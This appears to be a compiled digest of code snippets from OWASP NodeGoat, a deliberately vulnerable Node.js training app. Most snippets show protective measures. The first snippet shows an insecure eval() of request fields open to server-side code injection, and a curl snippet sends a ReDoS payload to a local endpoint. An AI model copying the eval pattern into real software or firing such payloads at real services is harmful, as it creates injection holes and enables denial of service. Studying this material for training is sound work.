``` ``` -------------------------------- ### Insecure eval() for Input Parsing in Node.js Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a1.html Illustrates an insecure practice in Node.js where eval() is used to parse user-supplied input, making the application vulnerable to Server-Side JavaScript Injection. Attackers can inject malicious code through inputs like 'preTax', 'afterTax', and 'roth'. ```javascript // Insecure use of eval() to parse inputs var preTax = eval(req.body.preTax); var afterTax = eval(req.body.afterTax); var roth = eval(req.body.roth); ``` -------------------------------- ### Implement Express CSRF Middleware Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a8.html This Node.js code snippet demonstrates how to integrate the Express CSRF middleware into an application. It initializes the middleware after session management and sets up a custom middleware to generate and expose CSRF tokens to the view layer, ensuring that state-mutating requests are protected. ```javascript //Enable Express csrf protection app.use(express.csrf()); app.use(function(req, res, next) { res.locals.csrftoken = req.csrfToken(); next(); }); ``` -------------------------------- ### Exploit ReDoS Vulnerability via Profile Endpoint Source: https://context7.com/owasp/nodegoat/llms.txt Demonstrates a ReDoS attack using a malicious regex payload that causes catastrophic backtracking. The vulnerability exists in the regex pattern /([0-9]+)+\#/. ```bash curl -X POST http://localhost:4000/profile \ -H "Content-Type: application/x-www-form-urlencoded" \ -b cookies.txt \ -d "bankRouting=00000000000000000000000000000000000000000000000" ``` -------------------------------- ### Generic Error Message for Login Attempts Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a2.html This code snippet illustrates how to implement a generic error message for failed login attempts in Node.js. Instead of specifying whether the error is due to an incorrect password or a non-existent user, a single message like 'Invalid username and/or password' is used. This prevents attackers from gaining information useful for brute-force attacks. ```javascript console.log("Invalid username and/or password"); ``` -------------------------------- ### Conditional Navigation Rendering in Jinja2 Source: https://github.com/owasp/nodegoat/blob/master/app/views/layout.html This snippet demonstrates conditional rendering of navigation links based on user authentication status using Jinja2 templating. It controls which menu items are displayed to administrators versus regular users. ```Jinja2 {% if user.isAdmin %}* [Benefits](/benefits) {% else %}* [Dashboard](/) * [Contributions](/contributions) * [Allocations](/allocations/{{userId}}) * [Memos](/memos) * [Profile](/profile) * [Learning Resources](/learn?url=https://www.khanacademy.org/economics-finance-domain/core-finance/investment-vehicles-tutorial/ira-401ks/v/traditional-iras) * [Research](/research) {% endif %} ``` -------------------------------- ### Enable Session Management with Express Middleware Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a2.html Enables session management using express middleware, which is a prerequisite for session-based timeouts and cookie protection. This middleware handles the creation and management of user sessions. ```javascript app.use(express.cookieParser()); ``` -------------------------------- ### Improve Password Policy with Regex Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a2.html This snippet demonstrates how to enforce a stronger password policy using regular expressions in JavaScript. The improved regex requires a minimum of 8 characters, including at least one digit, one lowercase letter, and one uppercase letter. This enhances security by making passwords harder to guess. ```javascript var PASS_RE = /^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,}$/; ```